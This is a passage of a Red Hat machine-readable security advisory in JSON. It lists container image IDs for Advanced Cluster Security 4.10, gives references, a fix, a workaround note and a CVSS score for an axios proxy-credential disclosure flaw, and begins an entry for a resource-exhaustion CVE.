"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "RHBZ#2487948",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487948"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v",
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
}
],
"release_date": "2026-06-11T15:38:25.150000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via redirect flows"
},
{
"cve": "CVE-2026-44488",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-06-11T17:01:36.836488+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
